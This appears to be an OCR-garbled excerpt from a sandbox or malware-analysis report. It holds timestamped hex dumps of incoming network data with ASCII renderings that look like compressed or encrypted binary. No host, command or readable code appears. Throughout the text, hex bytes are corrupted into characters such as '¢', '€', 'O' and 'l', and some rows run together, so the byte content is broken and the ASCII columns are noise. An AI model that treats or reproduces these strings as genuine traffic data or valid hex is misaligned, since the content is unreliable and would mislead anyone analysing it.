6d 86 3a eb 85 4e c2 c4 dc 25 ¢9 81 86 9d 2c 8b c0 dc 9a 9c d8 9a c4 12 a2 fc 52 cf 60 87 3c ea 8d 2a b6 cb 63 17 d6 bc
dd b6 11 10 a1 31 9d 93 el 3e e5 12 ed eb da 67 09 2d 8b be 61 35 74 70 48 74 ad b4 26 b7 c9 e2 5d b2 83 79 38 2a 05
84 24 3a 93 28 f0 c6 dd 1d e3 1d e3 43 1a be 70 da 9f 82 4a 97 7f 21 e8 7c 56 b8 2e 13 c1 17 96 c5 55 a5 2e 5a ec bf 44
b9 fc 21 e0 4e 6e cd 6a 80 51 13 bc 80 81 1b 0f 96 61 71 29 ed 1b d1 e6 6a 62 cc ef 2f 84 c0 b9 38 38 fb 7c fe 53 4a dc e7
cb 59 25 3b 10 00 a7 84 5b d3 3a 1d 71 e6 Oa e3 19 cd
Data Ascii: Z=Z"VTWij?;;09QVboU\<#zkS_mm:N%,R <*c1>g-a5tpHt&]y8*$:(CpJ!|V.U.ZD!NnjQaq)jb/88|SJIY%;[:q

2022-01-13 19:22:56 UTC 1029 IN Data Raw: 94 64 41 98 Oc fa 64 83 c6 c2 c9 b7 69 76 19 e0 8d ee aa 3d d5 63 al 79 52 7f 83 be 6¢ 7a bc 65 03 f3 f3 b9 bl
9f 88 42 33 87 10 84 3e 8c 63 14 45 45 5b 19 dd 87 20 14 cd 2e 67 a8 01 6 7f b4 c6 e3 10 40 37 a6 d8 40 5e 12 6f 15 cc
6 59 1c 70 Oa 4c ad Oe 18 2d 2c 07 ea 8f 95 44 1c 79 3f b9 4b 9d 54 98 94 55 62 82 50 d6 €0 90 c0 26 15 42 6a €6 36 1c
a6 2c 71 ¢9 41 a9 80 4d 53 84 96 1d 59 54 ee b0 23 f5 a0 1c f2 ¢5 3b 3b 1c 04 1c 77 fd f9 a5 76 84 50 c9 66 9d 5f bb 3d
1a 4f 5e f9 cf 75 5a e5 ca 6a fc 4a c3 54 e6 08 eb 5e 9d 6d 65 19 c0 d4 55 20 Oa 31 a7 03 6e ec 52 24 03 51 84 ec df 17
aa 2a 0c 81 e3 75 bf 7c 61 66 f7 7e 90 74 b5 ab al 26 97 60 e6 1f d2 f9 cb 6a 80 cf 5b d3 56 23 f1 5c 18 66 89 de 96 6¢
3a 44 9a 63 €9 15 db Ob c9 63 cc c0 ac a4 31 37 85 0d
Data Ascii: dAdiv=cyRIzeB3>CEE[ .g@7@"0Y pL-,Dy?KTUbP&Bj6,qAMSY T#;;wvPf_=0"uZjJT*meU 1nR$Q*u|af~t& j[
Vi#\fl:Dccl7

2022-01-13 19:22:56 UTC 1030 IN Data Raw: 18 36 ec b2 94 3d b8 fb dd 66 35 b6 26 7a b5 a4 91 bf e6 bf el 5d 7c 47 15 bf €8 54 e0 46 d2 81 75 04 b3 b9 4f
52 7d ce 36 18 82 44 46 1a 57 01 98 52 d8 89 cc f3 5b 26 de 84 81 e0 f1 ¢8 f9 67 48 ¢5 bf 71 25 f7 d5 65 a3 c8 7a ba Ob
03 45 cb 64 2e 49 47 95 f3 b2 80 7a b4 37 bc cc 19 51 f8 57 94 e2 f1 a8 97 e8 04 4d 4f 94 7a d2 4e f0 ac 2a 1c 60 58 aa f5
dc 17 29 8d 2¢ 07 43 Oc 7e b3 a5 84 42 9e fd Oc 57 aa 04 ¢3 91 d7 7c 05 04 26 fe 49 a0 22 72 a2 Oe 54 71 a2 d5 74 75 f3
b9 cb 5b db 83 ¢5 92 62 €8 14 74 ad bc d1 74 21 b0 ec b5 Oe 81 b4 ¢7 20 7a b1 54 85 65 5b 7b 5b 9b 68 91 8 45 a0 11
10 44 5f c9 41 b1 b9 4b 47 ed be 1f f6 f4 79 25 f4 4c d1 aa 1a Oa 19 f1 ed 26 12 f5 fa 5e fc 5a f2 d1 38 c4 c4 6e b6 22 68
98 77 d3 75 b9 1a 7c 78 a0 6a 79 1a 68 88 53 51 fb
Data Ascii: 6=f5&z]|GTFUOR}6DFWR[&gHq%ezEd.IGzZ7QWMOzN*"X),C~BW|&I"rTqtu[btt! zTe[{[nED_AKGy%L&"Z8n"h
wulxjyhSQ

2022-01-13 19:22:56 UTC 1032 IN Data Raw: 47 ef 24 c5 d0 91 06 e4 a3 82 4b a6 a5 ef 88 00 a6 1f fe f6 2d eb ad 3b b8 41 bc d1 7 fe c4 30 62 3a 47 5a f1
54 4a 26 7c 1f 54 11 be d4 3 a0 Oc bf fb ca ee 2e b9 be bd 45 5b fa 72 1c b9 2a e0 e0 8d al c3 fd 65 75 bc da 2b 68 fa 4a
69 ae 41 b1 56 9b aa 93 58 61 Oe 57 03 62 0f 03 37 ac 24 6a 3a 72 a3 96 69 b3 09 3e c1 a3 9a 05 67 1b 15 91 4 4c 96 18
bc 7a 73 6b 17 4f ee d9 9e 44 3b 6d 1d 95 41 11 79 59 78 cd fe 18 44 93 97 {7 ce ea d4 68 6b 75 8d ee 0Of 6¢ 26 06 57 dO
8d fe 0a 69 86 29 8d 00 43 44 46 c4 d5 d5 d1 19 95 f8 56 9d e2 e7 23 cd 2c 0d c3 cd 17 30 ce 84 bc de 6b 51 bc 5e 6a 2d
€2 82 40 de 2b 3f51 e8 4d 17 26 2d 46 7d al c1 48 d9 05 29 93 e3 01 5d 10 56 f5 61 d8 f2 22 6d 13 86 51 3c 8c e6 c0 a3
c1 51 69 b8 26 67 5e 7 9a 60 ea e6 ad a4 f9 13 a5
Data Ascii: G$K-;A0b:GZTJI&|T.E[r*eu+hJiAVXaWb7$j:ri>gLzskOD;mAyYXDhkul&Wi)CDFV#,0kQ"-@+?QM&-FIH)Va
"mQ<Qi&g™

2022-01-13 19:22:56 UTC 1033 IN Data Raw: 28 66 16 cf 2e 1a 6f 13 af 20 4c ad 7c Oc 96 07 3b 1la 7a 74 4a 1c Of c1 1c 60 38 93 32 a6 05 6b 11 13 6f d3 2a
18 1f fe 97 4c Oa e0 98 3f bf 85 25 c¢7 2f 8¢ 37 a2 d7 €9 10 05 3a 7a b4 f8 a2 31 cb 71 79 3e ed 82 7f 9f 91 a0 1b b6 a9 2f
ab a7 ec fc 48 dd ad 67 8a 1a 6e 37 46 9a 6e 93 f8 14 3a 43 bc 81 2¢ 05 32 f9 Of ce 5¢ 13 6b 5d 65 0d d4 9b 92 76 a6 44
3c 36 8f 8b 0c 39 b1 c8 50 d6 9f 67 d6 e4 be 13 be 67 ed e0 e2 31 0f 99 el 1b f6 36 16 b3 5a ed 33 32 b5 00 d3 72 a4 13
39 6d 13 b7 a5 2c e8 ba d7 a5 05 24 7a a2 1c cc d9 c7 81 c3 56 €9 48 9a ec Oe dc 1d 09 a3 8a 2d 3f a3 93 f4 9c 5e 6d a3
09 70 cb 77 31 8¢ c0 3d e9 22 6d Oa df b6 83 50 bd 24 65 8¢ fc 52 c6 30 da fO 5e 36 5d 31 74 d3 74 c8 49 3e 91 be c6 cO
d1 720459 3585c9 70 c5 19 c7 f5 20 fc 3d c9 1la
Data Ascii: (f.0 L|;zt3"82ko*L?%/7:z1qy>/Hgn7Fn:C,2\klevD<69Pgg16Z32r9m,$zVH-?"mpwl="mP$eR0"6]1ttI>rY5p =
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:56 UTC 1034 IN Data Raw: 7c b5 2f d4 85 86 55 37 a8 fc c1 14 5b 7f d0 8f 98 7a b8 61 7e ac 85 76 f3 c9 6f 0d a9 8e 17 53 5d 6a ca f4 da
69 68 f5 50 73 71 31 92 60 95 f5 Oc ca e6 ad e0 ed 71 22 61 19 83 c9 7b 4f 81 1d 51 8e e4 c9 c3 f6 16 4e cae2 e5 28 8¢c a
b3 b2 a9 3b 17 91 f4 56 el a7 43 a2 63 1f 75 8b d4 fd 80 5b db e9 f6 3b 31 32 4b 42 2f 92 08 bc 8b 56 e7 3b ff d5 32 7f 50
79 7b 33 84 52 bc b5 2¢ 9f 75 48 c8 fa ff 1c €9 4a d5 6d 1d 7d 37 al 88 e7 8 cc Oe 96 3c 5e bd 06 6¢ 90 79 37 a6 4a 61
46 85 11 89 35 Oe fe 12 46 cc 7 9f 9a 0f 00 42 60 fO af b9 41 a3 29 07 30 13 73 8f ab b7 ab af d3 eb 9b e8 a0 02 b2 53 5d
33 2e 13 cd c9 d3 3c 3fal 1d bl a9 f8 4e fb 39 a7 90 c1 fe 19 d9 0d c2 b5 Oe 9a 0f a2 Oc 6d 5e ff d2 ad 97 71 1b 93 b7 a4
46 c9 1b 84 50 bb 21 e9 3f 09 e5 d7 be 15
Data Ascii: [/U7[za~voS]jihPsgl'q"a{OQN(;VCcu[;12KB/V;2Py{3R,uHIm}7<"ly7JaF5FB A)0sS]3.<?N9m~qFP!?

2022-01-13 19:22:56 UTC 1036 IN Data Raw: 2d 49 24 d1 ce 13 a8 58 f9 86 50 91 ec el 17 8c 43 f5 ¢7 2a 1b 77 b2 d9 19 c3 58 9a 3a 24 63 36 b2 08 eb fb
52 1b 44 07 7a 66 5d 1c Ob 9f 1c Oe df 14 32 8e 2e 6a c7 69 77 3f 6e 02 a2 Ob 39 7a 0a 79 52 3c 99 e6 d6 93 ef 75 a0 62
10 a4 02 dc 94 7c 1e 83 29 ff cd 6¢ 05 84 53 3b a2 03 b8 d2 13 ad a5 9d 95 67 a8 04 b6 88 8b cd b7 b6 23 f7 d1 24 28 de
c3 18 55 4e 94 07 41 fb ¢8 99 fb b0 b5 b5 0a b8 4f 5a ec aa 4b df 4d 20 2b 6e ae 44 d7 ff dO f5 c2 7f 37 d2 1c 78 c0 68 ff
c1 42 39 de 61 4b 06 b3 ab ba d8 ea 0f 24 66 8a 50 d6 00 8e 11 19 33 91 6a 91 18 40 f2 a8 13 97 f0 fb dc df b7 55 71 77
bd d2 ec bc ¢3 5f 73 0b 9f 91 el 94 49 05 37 a1 90 7a cc 75 b1 91 f9 d1 65 64 db a6 ba e6 a7 9c 07 2d 4b 10 54 ee 27 a9
e8e52ddd 0824 c2c9792262ead69aadcs4lal
Data Ascii: -I$XPC*wX:$c6RDzf]2.jiw?n9zyR<ub|)IS;g#$(UNAOZKM +nD7xhB9aK$fP3j@Uqw_sI7zued-KT'-$y"bA

2022-01-13 19:22:56 UTC 1037 IN Data Raw: 5 36 5a f4 b4 30 d3 c9 26 79 3e 2c 57 67 5c¢ f1 fa e4 e5 34 19 cd 30 10 1c 67 d5 91 b7 a8 0f d5 30 01 63 0f 15
79 b9 51 58 ed 46 c5 3b b6 ef de 13 ¢3 5¢c e5 6f 13 84 51 9d 36 a6 4c ce b2 32 d9 el a2 40 30 57 74 61 96 b2 67 Oc a7 90
b0 ca 32 56 €9 63 1b 35 72 6f 4d 5e a6 Oe 86 e4 77 71 2c 5a f2 8f Oe 91 a4 1d a9 9c ce 1b 2f de 8b 85 c9 b8 8a 88 15 ce
bd 50 13 34 c2 84 4f 17 c6 07 d9 36 91 f6 08 b3 e6 3f 5d 48 8a cd c5 16 4b 4e c2 cb a6 4a d7 1a 38 38 70 af 00 00 el Oa
b2 2c 7a df 03 e4 ef 28 03 7a b5 11 aa 3c 52 49 a3 d7 00 be cc 84 52 62 d6 9c 13 4f f6 1d fc 5a fb ac 42 21 19 c7 69 1e cb
c8 a0 la 77 22 20 7e b5 bb 42 5e f1 ¢3 0d dd 19 8b c4 94 6e 35 77 7a a5 88 44 58 96 7d 60 ae 20 6b ba 06 04 f1 34 b5 Of
Oa c2 75 b5 e0 9d 8b da f4 41 01 6d 18 4c 82 59 cb
Data Ascii: 620&y>,Wg\40g0cyQXF;\0Q6L2@0Wtag2Vc5roM*wq,Z/P406?]HKNJI88p,z(z<RIRbOZB!iw" ~B n5wzDX} k
4uAmLY

2022-01-13 19:22:56 UTC 1038 IN Data Raw: d4 Of cd 76 a8 a4 19 8e 3f d1 ca e8 e9 6¢ 6f ff 54 b6 03 6a 83 af f3 d9 5f 29 8e 7f 2e cb 14 e5 fe 40 dc 53 41 59
aa 31 2a 02 b2 48 72 97 fb db 1f 40 50 bd 40 60 el Ob cb 83 d9 b6 6f 6b fe e7 6b db 58 98 1f bc dc 72 el 1e 60 Oc 88 2a
eb fba9 72 6b 7e 0f 07 47 51 7f 28 18 e5 7e d3 83 32 a7 98 16 ec e5 2¢ 1a 7c ab 48 d8 9c Of 7a bd e8 d8 32 f5 de 95 f5 76
18 33 24 08 ba de 9e ee 55 1f 5a 53 42 24 7e 51 38 44 91 19 db 1f fd 32 52 be 70 4f 4e db 14 ba 8c 3c c6 52 ce ec ad 40
4c ab 11 98 74 b6 25 1c 18 38 cd 29 8e 72 a8 f1 fe 25 10 0d d7 04 b0 9c 34 6a 23 93 f1 2d 96 ¢3 71 41 54 5¢c e7 35 92 82
5c 83 7b de 93 e5 26 d3 73 5b 9e aa 26 70 ab 4f 54 9f 67 81 c2 c5 4c 3f b8 42 d3 fa 46 de 82 aa 31 fa b8 ba c2 df 19 31 92
27 88 4e bc dc 9e 06 5e e0 3a 6a 99 14 40 ac
Data Ascii: v?I0Tj_).@SAY1*Hr@P @ okkXr *rk~GQ(~2,|Hz2v3$UZSB$~Q8D2RpON<R@Lt%8)r%4j#-gAT\5{&s[&pOTgL
?BF1I'NNj@

2022-01-13 19:22:56 UTC 1040 IN Data Raw: 40 31 fb 0d 7a 8f 85 89 61 c7 a2 e0 bf 3d 90 63 ee 76 4e ca 25 96 e7 17 05 df 1a 31 57 d7 Of 16 b2 1f b7 d9 39
4f 8e d9 27 bc 5b 03 ¢6 0a 57 4c 48 49 3d 78 7a 5b 4f 0d ec 23 9f 5¢ 46 cd 3a ea 5c 5a 3a 90 73 69 60 90 80 8c bb 46 1b
d8 35 8f 29 35 9f 27 a0 3b a2 Oe 76 €9 2f 99 bb 39 33 7c 9b 97 63 97 d6 €0 81 c3 25 €0 54 b9 53 42 79 49 db b0 33 fc e4
6f Of b5 ab ba a5 8a f4 03 3e 3b 46 05 bd 17 84 0d 6a b4 68 51 5d 64 5c ea 74 a7 ae 30 Ob d8 e2 Oc 42 83 d5 1f 84 dd 51
2d 1e 86 4e bb 5a f0 ee 43 b7 f6 55 3f 24 {7 cd c8 16 48 d9 3b 3b 14 5f 19 75 b9 21 90 69 1f 7f 69 02 d6 82 54 9e 5¢c 97 al
1c 8c 7145 5d 76 cf 7a 88 e7 €6 ec fe fa ef 2c al e6 fO c6 d9 a7 ee c¢7 ¢8 59 01 2d a4 80 al f2 ee 56 f2 3a b0 cd 15 b0 3c
30 be 62 b8 40 33 90 0f 98 7f e5 c7 7e b3 cf 6¢
Data Ascii: @1za=cvN%1W9O'[WLHI=xz[O#\F:\Z:si'F5)5',v/93|c%TSByI30>;FjhQ]d\t0BQ-NZCU?$H;;_uliiT\qE]vz,Y-V:
<0b@3~I

2022-01-13 19:22:56 UTC 1041 IN Data Raw: 22 5a ac ff 9f 73 fc 0d 60 c0 94 b5 be 48 a7 dd 58 ed 7a fd Of bf 40 4e 08 7c dc e3 b3 ba 28 13 a4 49 e3 90 1f
05 f1 8c 6b 78 b0 91 88 bb 43 a6 Ob d3 d4 21 dd a2 15 d3 7e c4 7a 20 5c 4e d7 18 31 7c 81 db 09 22 99 4a 3d b2 4c 37
94 70 be c4 68 38 49 44 4f e7 e8 b5 b6 38 5d d4 bb 26 3e 20 27 82 29 ea ad ad ad ad bc 29 4a a5 78 77 78 55 f2 f8 f6 7d
5b 7c 2c e4 f2 3f b1 b8 9b 18 a8 5¢ 92 c6 33 da e0 92 73 3¢ ¢9 64 8b c9 d3 bc b0 c7 be 83 a3 cc 93 f1 65 09 26 62 31 4a
af 10 88 Ob be 8a 03 e7 cc 4f ef 2b 9b el 17 db 09 6b f5 e0 d7 d6 7f c0 93 ba bc af d3 60 65 1d e8 b4 da 52 a2 b7 64 cf 26
3164 18 b9 83 81 a8 18 a8 4f 4d 4f fd 7c 2c 7d 3a 29 c4 06 3e 2b 43 4d 88 11 9c a8 fd cb fe bd 58 7a 5b 62 fd 7f 29 ec cf
€6 52 df cc Of Oe f6 54 e2 95 ef 65 1e 63 09 82 81
Data Ascii: "Zs"HXz@N|(IkxC!~z \N1|"J=L7ph8IDO8]&> "))IxwxU}|,\3s<de&b1JO+k’'eRd&1dOMO|,}:)>+CMXz[b)RTec

2022-01-13 19:22:56 UTC 1042 IN Data Raw: Oe d6 32 98 06 19 77 Of da 9c 1d 82 45 45 1c 7e a4 f8 86 29 25 84 51 31 39 56 d2 ec b0 24 10 42 02 Oe a5 9b
1102 fa 0a 14 ea b3 5e 36 26 01 29 83 af d4 87 46 5d 46 de 9c 1d 87 d0 89 c2 7a 69 59 8b 45 a3 8e 1f 71 d2 cb 15 7e cO
b3 d9 7e f5 00 1d 9a 3f ad 68 6b 01 aa 2d 85 cb 6¢ bc 72 67 57 Oe ed 8f cd 7 2d 2 fa 7f da 92 75 2e dc 9¢ 0d 70 b9 ac 05
61 0f 07 7b 32 36 4e 40 Oa ee 70 f2 17 27 3e 7e 2d a8 45 99 95 c8 b9 b4 le fd b9 6a 23 97 51 47 d3 c2 a4 72 f9 5¢c 78 c7
ce 9d 07 23 1e 7f c7 26 66 2c 8e d7 03 bb 1e 77 b5 €5 38 98 70 ¢3 12 57 c1 03 47 f8 4a de ca f5 6f 43 c¢3 a7 66 cf 1a ce ad
ac 6¢ fe b2 7d 42 7c d2 4f 04 df 5¢c e9 63 f1 €6 e7 79 f4 e8 19 d8 36 19 9e 4a d2 19 21 1a 74 1c 20 69 bd 1a 67 e7 36 bd
10 57 ¢3 14 2e €0 8d be 9b e2 31 ce 9d 30 92 24 0d
Data Ascii: 2WEE~)%Q19V$B"6&)F]FziYEq~~?hk-IrgW-u.pa{26N@p'>~-Ej#QGr\x#&f,w8pWGJoCfl}B|O\cy6J!t ig6W.10$

2022-01-13 19:22:56 UTC 1044 IN Data Raw: dd 47 1d f8 e4 c0 bc 78 df 59 01 ¢3 32 1e 31 f3 78 d8 e4 e3 69 a0 70 c5 2c b5 7b 2e 07 31 3c c4 c5 b0 29 f4 07
33 3fc9 d1 6d 8b 91 f9 65 66 8e d6 93 97 ae 37 Ob a0 77 9a 15 8b b2 81 b7 b9 14 26 99 80 3e 72 c2 30 7b 56 9f 3e a9 83
d6 9f 1b 5b 10 a0 0d 8e 3a 2b 1d 92 9b e8 ff 99 f1 99 96 7e Ob c3 0d 8f e4 37 c8 9b 16 58 f4 03 24 d5 11 aa 8f 85 82 2f 2a
68 94 30 6a 2a 66 eb 78 db b9 28 71 43 53 Oc 48 ca e0 3b 16 32 ff d3 dO ab b2 a5 ef dO ff b2 7a b4 a5 f0 bc 67 19 22 3f b6
90 18 21 48 cb 3d fb d2 6b 68 fb 3f db 44 54 0d ab bb 1d 88 ec cf 15 9d fb 3e 50 be b0 cb 9d 83 cb 7c 2f 7d 45 b0 27 18 19
dd 82 2f 7d 3a 8d bc c4 7c dd 15 32 00 3 94 63 97 88 2e el Oe 3f f5 c2 70 ¢7 1d 00 df 59 05 83 a9 80 19 a8 f0 de ec e5 58
5b 08 cd Oe ab bd 45 4d 41 2d 6d 70 4f 59
Data Ascii: GXY21xip {.1<)3?mef7w&>r0{V>[:+~7X$/*h0j*fx(qCSH;2zg"?!H=kh?DT>P|/}E'/}:|2c.?pY X[EMA-mpOY

2022-01-13 19:22:56 UTC 1045 IN Data Raw: da e7 25 c2 b3 b2 3c c3 8e 75 78 ef eb al 34 7d 44 94 29 f6 dd 3 d5 84 96 c4 ed 68 fd 4b 26 71 97 46 c7 2c 70
14 b8 e6 d4 10 8¢ 1b fe 4b 4d cc f7 2a 98 8a ec 1d 63 1f e0 c3 ab 0a b9 f0 ad ba 9¢ 7b ae b2 88 4c dc 83 d2 c4 69 06 b9
3d bd 4c 97 9a ea da e0 cd 6a ea d7 52 d7 4b 4e c7 6a 7f 1b 9b a0 52 8f 2a f0 16 fO b3 1d c0 6d fe 74 7f ae b0 33 38 91 9e
€559 08 07 1e 3c 4f c3 ef 57 8b d1 1c 2b e3 ae 21 88 4b 54 a8 68 c7 69 7f 6b a7 85 ab c4 d8 73 36 14 4c 60 22 Oe 18 83
f2 7f a7 Of cb ¢8 00 d5 38 8a dc f6 df 73 d7 27 13 d1 12 12 38 c4 a4 b5 01 33 0f 7d 58 1a 66 ec f3 bb d7 el 77 b8 d5 01 b8
85 ab 4e b3 f1 54 08 51 42 64 f0 53 b6 5a a6 6d f6 a0 65 5e 95 48 2e 61 27 87 61 c¢7 14 11 cf 8¢ 98 29 d3 bf d0 b7 a5 24
67 9a 31 92 c7 1f 7b de 8d 09 39 el 40 33 33 7f
Data Ascii: %<ux4}D)hK&qF,pKM*c{Li=LjRKNjR*mt38Y<OW+!KThiks6L "8s'83}XfwNTQBdSZme"H.a'a)$g1{9@33

2022-01-13 19:22:56 UTC 1047 IN Data Raw: 33 93 54 24 0b 2f 4e 9e 1a 2f 34 39 f6 96 el ac 36 b5 0d bl f6 e8 5e 04 b7 bf fO b4 af 18 4f e7 10 17 96 09 9a
2b 83 23 1a 84 eb 6¢ 2b 6b 94 83 cd 67 44 db b9 c1 e7 2a 70 e4 59 df 9c b5 b6 ae 72 57 d8 Ob 72 b8 38 78 37 3c 96 c9
6¢ f9 5a 8¢ 6f 61 da dc a9 30 4f 63 9a 30 2c¢ 9f d2 c0 43 ec 84 df 4a c1 41 89 ¢3 50 d6 38 ec c7 da 4f 1b 8c fa ef 2f 9b ec
03 36 4d 8e c3 b8 3c 6b 5d 38 84 72 €9 e3 03 20 c0 86 5e be 68 38 35 c5 Oe d3 44 6e 5¢ 58 2f 36 b4 27 80 ef 22 9f 86 51
28 18 5f 29 35 e5 3e 35 30 a6 7a be ca ee f9 d0 91 25 55 06 b2 3f a6 Ob d1 f6 aa 2e 14 e0 52 bc 9c ea ¢5 40 2a 10 17 8c
5f 61 d1 a7 8a 36 bd dc e3 19 d3 6b 74 b7 fd c0 cc f3 52 b4 a0 70 b7 94 90 66 9a 2b 60 96 7b 24 €6 10 20 65 08 b5 de 32
af 33 f4 5b fd 56 ff de 05 49 d9 68 92 75 ae 2b 9d 11
Data Ascii: 3T$/N/496"O+#l+kgD*pYrWr8x7<IZ0a00c0,CJAP8O/6M<K]8r ~h85Dn\X/6"Q(_)5>50z%U?.R@*_abktRpf+{$
e23[Vlhu+
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2022-01-13 19:22:56 UTC 1047 IN Data Raw: 25 82 f2 85 93 96 e1 41 c6 94 1a b8 83 b9 5f 66 9a 7d 37 50 91 13 ¢7 7c 59 6e 9c 1c cc 4e c0 cc {7 d6 ff 93 18
23 e3 d1 5¢ 2 52 65 dc 9 45 58 e6 81 c8 ed 81 0b a4 a9 5d 2d 5 6¢ ¢9 10 11 bb 88 a5 f2 5 €0 89 dd 12 67 43 a3 88 4a
b3 b9 54 e3 55 b6 35 90 78 ab 62 Oa bc O df b9 a6 07 3f bb 53 2¢ 7f af ab ef 14 59 6¢ 78 71 59 Oc 46 18 63 05 36 2 80 31
3b 78 df a3 00 b4 3f b0 91 03 7 68 17 ¢7 7d 22 26 54 33 Oe 46 ¢7 60 69 bd 53 40 34 1a 19 a4 66 92 d9 3¢ 2b 86 e2 45 20
13 5 {6 66 86 5e 4c 14 3f 58 38 71 79 8¢ b1 bd 89 ca e7 24 37 87 7f a6 14 ff 90 01 c1 93 fb ac 86 e5 2f 99 e4 ac 5e 6¢ 32
3d c8 6 a7 f9 14 ec c2 9a 63 04 ab 74 43 8c 2f 95 1 3a 21 fb da 90 e4 1d {7 ¢7 8a 8¢ 2¢ 45 3a 2d 97 a6 15 d6 61 a7 85
a5 7a 70 35 95 ef 20 1a 71 24 56 €8 b0 c4 07 44
Data Ascii: %A_f}7P|YnN#ReEX]-I"gCITUSxb?S, YIxqYFc61;x?h}'&T3F iS@4f<+E fAL2X8qy$7/M2=ctC/:!, E:-azp5 q$VD

2022-01-13 19:22:56 UTC 1048 IN Data Raw: b9 fd 96 4d 89 6d c2 fa da 74 be 61 fO 28 a9 1f 5e 26 56 71 Oc 2f aa 2d 3d a4 b8 a5 31 30 51 07 f7 d8 80 40 29
ce 67 3b ea 69 55 2e f0 69 52 74 9f dc 53 30 db bb 1c 89 55 b2 52 Oc 9f 1a 3c 54 40 29 10 a5 f8 fd cd 88 3b a9 e4 15 dd
0Oa 5f b2 28 b4 30 73 24 6d 68 6b 59 64 88 4b 30 7b 96 30 62 25 67 37 be ca e0 0a f2 5d c8 d0 89 38 cf 72 b9 45 e7 9c 61
3887 3d aa 67 b8 f6 a3 57 16 5a 91 97 e7 d2 42 34 02 18 97 97 1f 32 7b d2 03 22 72 a0 a0 77 50 90 14 3e 27 96 c8 f3 c1
be Ob bb b2 Ob 7f 19 8a 52 d3 62 8e 3b 04 Ob db 9e 9e d6 f1 21 ee 1a b4 7e d7 06 b2 65 c6 38 3b dO fe 3b b3 71 9f 80 37
a2 70 a7 4f b0 f7 72 ac 77 30 dO 13 14 02 b0 74 ba 1d Oc 61 3c 30 52 d4 3f 5b 4b 15 dc c5 5e 3b 14 7a ef 23 e4 af fb 75 93
c4 43 54 d4 6a 2e 39 fb 46 26 56 e5 0f 58 7e 7b 5e
Data Ascii: Mmta("&Vq/-=10Q@)g;iU.iIRtSOUR<T@);_(0s$mhkYdK0{0b%g7]8rEa8=gWZB42{"rwP>'Rb;!~e8;;q7pOrw0
ta<OR?[KN;z#UCTj.9F&VX~{"

2022-01-13 19:22:56 UTC 1050 IN Data Raw: 6d Oc f7 20 69 le a7 9a 03 36 10 58 2f 76 aa 25 e2 91 f4 d1 2c 8a fe 23 95 12 f4 38 bd ac 4a 6d a8 9d 28 b7 d2
5f 2a 87 67 cb 0d 5d 02 ca 73 c5 d3 €9 c0 ab ef f0 a8 16 47 5b 26 22 b8 7c 74 9b fb b2 94 45 28 0d aa 8a 5d d7 73 58 51
63 49 3d 3d 1b 91 06 66 cO a7 08 c7 12 2f 4d b0 46 de 9b f2 5e 6a 78 c9 7f 15 d6 8d fc ba 06 ca a3 40 b1 7a f0 7a 88 70
d7 7f 6f 02 06 cf 10 fO 8f a4 9b 51 b4 4b a6 c6 99 06 23 1a 1le f8 3b 47 7a fd ac 39 1le 04 6b ba bl bl b4 36 04 17 67 61 13
bd 48 98 67 00 b8 90 a5 ec ec 6¢ 1c ba 95 3e e5 b5 73 61 d2 d1 9d d8 3f da 1c 65 63 e3 45 3c 99 eb 7a 34 b2 80 3c 92 49
1555 f4 3a5d d1 93 92 d1 92 75 77 51 1c 18 fa dd 12 34 64 15 2f f6 57 77 31 87 dc 36 de ec e4 {7 9f 42 cb ad e3 5e 37
1c 4d 91 9d cf 25 2e 20 Ob 6a 9f 19 66 fb 40 4d 31
Data Ascii: m i6X/v%,#8Jm(_*g]sG[&"[tE(]sXQcl==f/MF jx@zzpoQK#;Gz9k6gaHgl>sa?ecE<z4<IU:luwQ4d/Ww16B"7M%.
ff@mM1

2022-01-13 19:22:56 UTC 1051 IN Data Raw: 3f c2 0a 92 eb 8f 31 42 67 60 dc fa 48 a4 8b df ae 26 27 9a 19 82 14 ab 42 82 99 b0 2c 76 ad e7 a9 83 d9 a2
b8 4f f1 86 25 57 29 f6 Ob d4 57 0d 00 d8 f4 32 80 4 85 cc 87 b3 a8 1d Oa 70 d3 95 75 €3 16 2b 3f 31 90 6¢ 8b 7f 84 26 de
28 74 0b 28 0a b5 b2 3d d5 05 3a 23 e5 3f b0 ¢3 8a 27 1d 65 35 93 81 2f ¢7 6¢ 89 cd d2 72 92 63 72 17 ac 3c 2a 02 3¢ 99
c7 de 4b 33 76 19 df 08 bd e5 ac 01 34 6d a8 f0 a5 91 e3 b3 27 c¢7 60 e6 b9 de e0 0a 06 98 7c b4 2b 12 ac Of 5f 03 4b €9
29 28 b9 3a b1 5e de 35 86 c6 48 c4 c6 dd 16 f1 d8 af 3b c6 63 bb 6b 18 53 59 6d fd c5 4e df 84 c8fd db ed e7 Of c8 e4 ae
e6 a4 Oc 4a ce 72 85 cd fd fO b0 2e 09 77 7c dc 63 dc 87 ce ea ab b8 70 c9 79 2¢c 7a e3 19 dc Oc c3 56 ef 92 83 c4 7b 83
eb 30 16 43 52 15 bc dc 81 c6 d5 62 d5 8c 5f 7a a7
Data Ascii: ?1Bg H&'B,vO%W)W2pu+?1I&(t(=:#?"e5/Ircr<*<K3v4am"”|+_K)(:*5H;ckSYmNJr.w|cpy,zV{OCRb_z

2022-01-13 19:22:56 UTC 1052 IN Data Raw: 68 9d 55 6b 1c 63 1b 99 46 1b f8 55 7f 1f 49 54 e7 85 7f c4 39 14 b7 06 1b 07 d8 82 d7 ee be 97 48 68 79 a9
09 al 30 48 72 08 16 ba cd e4 b2 2c 15 76 02 be 3e 5e 7c ef 58 6¢ d4 01 32 4a b9 ¢7 20 91 f9 83 d3 f1 68 Oe 4c 99 f2 ac
d5 64 da a0 ad 44 4e 64 5c 6f Ob c2 dc e7 4f 2d 8b 8e 08 a2 1d 4e 6d 14 f8 a3 9b 15 1c 09 25 fc f3 9a 6b a8 ec 42 d3 33
2112 f0 1e cc 72 4f 00 44 aa c2 63 Ob 34 10 e8 5¢ 9f Oc 1a 1a 93 b5 39 a3 dd 68 08 f5 38 3¢ 76 a2 fb 96 85 d4 be c7 d7
b2 3d fe 62 12 ff a5 21 30 bc cc fa 40 59 04 cb 6d ed 57 77 2c a2 e8 bd df f0 af 10 80 26 70 a0 a6 51 44 ce 48 7a 59 37 46
7229 1e f5 64 38 6d f1 96 99 11 c2 5f 75 8a d7 74 5f 3f c5 ad eb ce eb 6e ef b0 6f e6 a5 d1 6c 1b a6 99 e7 65 19 6¢ 22 62
ch 48 60 45 31 2e c5 ¢9 66 92 75 45 3d df 03 1a 00
Data Ascii: hUKCFUIT9HhyOHr,v>"|XI12J hLdDNd\oO-Nm%kB3!rODc4\9h8<v=b!0@YmWw,&pQDHzY7Fr)d8m_ut_?nolel"
bH E1.fuE=

